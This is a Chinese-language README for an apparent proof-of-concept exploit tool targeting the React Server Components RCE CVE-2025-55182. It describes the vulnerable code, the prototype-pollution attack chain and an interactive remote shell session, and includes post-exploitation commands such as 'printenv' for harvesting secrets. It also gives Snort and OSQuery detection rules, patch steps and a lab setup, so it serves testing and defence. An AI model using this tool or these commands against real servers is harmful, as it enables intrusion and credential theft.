针对 CVE-2025-55182 的全面概念验证(PoC)利用工具与教育资源。CVE-2025-55182 是一个影响 React Server Components 的严重远程代码执行漏洞,CVSS 评分为 10.0。
仅供教育和授权测试用途
本工具仅用于教育目的和授权安全测试。未经授权访问计算机系统在包括美国《计算机欺诈和滥用法》(CFAA)在内的多项法律以及世界各地的类似立法中均属违法行为。
您必须:
作者和贡献者:
使用本工具即表示您确认理解并同意上述条款。
React2Shell 是于 2025 年 12 月发现的一个关键漏洞,影响 React Server Components (RSC) 及其实现框架,尤其是 Next.js。该漏洞允许攻击者通过单个精心构造的 HTTP 请求实现未经认证的远程代码执行。
本仓库包含:
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS 评分 | 10.0(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 系统完全沦陷(RCE) |
| 披露日期 | 2025 年 12 月 |
create-next-app 创建的标准 Next.js 应用即可被利用受影响版本:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0已修复版本:
受影响版本:
已修复版本:
该漏洞存在于 React Server Components 反序列化逻辑中的 requireModule 函数内:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
该缺陷允许攻击者通过 React Flight 协议遍历 JavaScript 原型链,借助 constructor.constructor 等属性访问 Function 构造函数,从而实现任意代码执行。
__proto__ 创建自引用结构constructor.constructor 链式访问 Function()child_process.execSync() 注入任意 JavaScript┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests 库# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| 命令 | 说明 |
|---|---|
<any shell command> | 在目标上执行命令 |
help | 显示帮助信息 |
exit / quit / q | 退出工具 |
部署以下 Snort 规则以检测利用尝试:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
检测逻辑:
Next-Action 标头(RSC 特有)multipart/form-data 载荷name="0"、status: "resolved_model"、then: "$1:__proto__:then"使用以下 OSQuery 规则扫描存在漏洞的软件包版本:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
优点:
在应用程序日志中查找以下模式:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
拦截可疑模式:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
为以下情况设置告警:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
创建 Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
构建并运行:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
创建 docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
运行:
docker-compose up -d
使用 curl 进行测试:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
欢迎参与贡献!请遵循以下指南:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
Tinashe
Cerberus Secure 是 iConnect SA 的网络安全部门,专注于:
安全研究人员已通过负责任的披露流程将此漏洞报告给 React 团队。本 PoC 在以下条件满足后发布:
时间线:
请记住:请负责任地使用本工具,并且仅在您获得授权测试的系统上使用。
如有关于本仓库的问题、疑虑或安全问题,请提交 issue 或直接联系维护者。